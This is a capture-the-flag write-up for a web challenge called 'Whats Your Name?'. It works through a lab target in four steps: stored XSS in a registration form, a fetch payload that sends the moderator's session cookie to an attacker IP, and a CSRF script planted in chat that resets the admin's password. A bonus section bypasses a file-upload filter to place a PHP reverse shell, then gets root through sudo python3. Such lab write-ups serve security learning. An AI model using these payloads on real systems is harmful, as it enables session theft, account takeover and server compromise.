Whats Your Name?

Utilise your client-side exploitation skills to take control of a web app. - by 1337rce & l000g1c


Recon

Scanning our target with Nmap we can discover three open ports, of which on each of them runs a different service. On Port 22 SSH, and on 80 a web server, and on 8080 also a web server. Both web servers are running Apache/2.4.41.

On the web server at port 80, we run a directory scan via Gobuster. We can see that we are probably dealing with PHP using PhpMyAdmin.

We move on with a manual inspection of the web server. Unfortunately, we only see a blank page on 8081.

The situation is different on port 80, where we see the announcement of a social network to be released soon.

We can register in advance, and our registration will be reviewed and activated by a moderator. We may have our entry point here. Furthermore, we have four input fields; maybe XSS is possible here.

Further resources can be found here:

Since we don't know what the moderator sees, we have to be able to somehow find out whether our XSS was successful or not. We test our XSS by making requests on our web server with them. So that we know which input field is vulnerable, we design our requests so that we can distinguish which payload was executed.

We make use of the following simple XSS payload:

<script src="http://10.8.211.1/email"></script>

After submitting, we see the registration was successful, nice.

We set up a PHP server and wait a few seconds.

sudo php -S 0.0.0.0:80

After a short time, we see requests to our server. All input fields, except for the password field, have responded to our XSS attempt. Probably the password is not displayed to the moderator or is hashed, so we have no success here. We can therefore continue and create a payload that steals the moderator's session cookie, for example, to hijack his session so that we can use it to gain access to WorldWAP.

Access To Moderator Account

We prepare the following payload to retrieve the cookie of the moderator: Our PHP web server is still running in the background.

<script>fetch("http://10.8.211.1?cookie="+ btoa(document.cookie),{method: "GET"});</script>

We register a new user and place our payload in the email field.

AAfter a short time, we receive the request and get the session cookie encoded in base64.

We decode the transferred cookie...

...And replace our PHPSESSID cookie with the one we retrieved.

After reloading worldwap.thm we get redirected to the dashboard. There, we get information about a subdomain login.worldwap.thm which is now operational and working.

Adding that subdomain to our /etc/hosts and reaching out to it, we retrieve another blank page.

We could run now a Gobuster scan to enumerate directories or look into the source of the blank page, and find a note from the developer to implement a redirection to login.php.

With our session cookie set, we head to http://login.worldwap.thm/login.php and we get redirected to http://login.worldwap.thm/profile.php. We have access to the social network as the moderator and find the first flag in red in the header. It might be necessary to apply the retrieved session cookie also to the cookie of login.worldwap.thm.

Access To Admin Account

Looking further through the social network, we see that we are able to reset the password. Interesting. This could be exploited for a CSRF. Let's look further.

Further resources can be found at:

Furthermore, we have a chat, among others, with the administrator of the page.

Let's see if we are able to inject some XSS to make use of CSRF. Placing the following simple payload:

<script>alert(1)</script>

We see it gets evaluated.

Inspecting the pages further we do not find any mitigations like CSRF tokens used to mitigate CSRF.

Ok, let's clear all chats and make a password change request to get an idea how to craft a payload that forces the admin to reset his password. For this, we use Burp Suite, and we see that a POST request is required with new_password as data to be transmitted.

We craft a script that creates and submits a form to change the password to "hello" when the page loads. We make use of hidden form fields to post data without user interaction. If that script gets planted in the chat and the admin visits the chat, the admin will automatically request a password change.

<script>
    window.onload = function() {
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = 'http://login.worldwap.thm/change_password.php';
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'new_password';
        input.value = 'hello';
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    };
</script>

Unfortunately, it did not work right away. Looking at the source, we see that the HTTP URL we submit gets automatically formatted to <a href...>.

So again, we clear all chats, and make a slight change, so that the HTTP URL does not get detected as such, so that is not formatted.

<script>
    window.onload = function() {
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = 'ht'+'tP://' + 'login.worldwap.thm/change_password.php';
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'new_password';
        input.value = 'hello';
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    };
</script>

If the script works, we get redirected to the change password page.

After a short duration, we are able to log in as admin with the new set credentials.

After successfully logging in, we are the admin at the WorldWAP social network, and we find the admin flag in the header of the page in red.

Bonus

This is a bonus and not a direct part of the challenge, it could be fragments from another room. This could possibly be patched out. We are able to gain initial access to the system as www-data via a file upload and extend our privileges on this system, as the user www-data can execute python3 with root privileges using sudo.

When further enumerating the directories, especially from /public/html/ to which you are redirected, if you call up the page directly, we find some interesting pages that are only available to us with authorization. This part assumes that we have stolen the session cookie from the Moderator and hijacked his session so that we have access to the following pages.

We see pages such as mod, which the moderator calls up to approve the user, a dashboard, but also a page for uploading files.

The api endpoint is also interesting. Here we can see that the uploads could end up at /api/uploads.

We head to the /public/html/upload.php page ...

... and try to upload a simple picture.

PNG seems to be accepted, so let's check if we can find them at /api/uploads.

And indeed the uploaded image is there.

Since we are dealing with a PHP server, we upload a simple PHP PentestMonkey reverse shell.

But this is not accepted. Let's see if we can bypass the file upload check.

I have already prepared a PentestMonkey reverse shell for this from other challenges. It has customized magic bytes and a file name ending that matches PNG. The following shows the steps of the prepared PentestMonkey reverse shell.

We look up the magic bytes, the file signature that identifies the file by its first bytes. A list can be found here:

We chose the follwing one for PNG:

89 50 4E 47 0D 0A 1A 0A

To edit our reverse shell, we use the tool called hexeditor, and call it like this to edit the file:

┌──(0xb0b㉿kali)-[~/Documents/tools]
└─$ hexeditor -b monkey.phpD.pn

With CTRL+A we add new empty bytes.

Then we enter the magic bytes for PNG.

Almost done, next we upload our reverse shell but intercept the upload request using Burp Suite. We mark the letter D of the file name to replace it with null bytes in the Inspector panel of Burp Suite. We apply our changes and forward the request. We applied now a bypass by file name and file type.

The reverse shell gets uploaded.

We set up a listener and visit /api/uploads. There we request our monkey.php reverse shell.

Our reverse shell connects and we upgrade our reverse shell.

We are www-data.

Next, we check what we are capable of. The user www-data is allowed to run /usr/bin/python3. What a gift. We can easily spawn us a root shell using python3:

sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'

We could get some credentials, potentially for the database running underneath the web server. From there, we could harvest the credentials of moderator and admin. But access for root@localhost was denied.

Since we know that at least one other VHOST is configured, we call all enabled websites via apache2ctl -t -D DUMP_VHOSTS.

All are sharing the same conf at /etc/apache2/sites-enabled/000-default.conf.

The referenced vhost on the dashboard, which is shown after the session hijack, can be found at /www/var/html.

Now we can inspect the inner workings of the challenge and can continue learn more here. Of course we could get the web flags now, but that would be boring.

I don't know if that was the intention, that you get access to the system. Nevertheless, I think it's a nice idea to be able to take a closer look at the structure of a challenge.

Last updated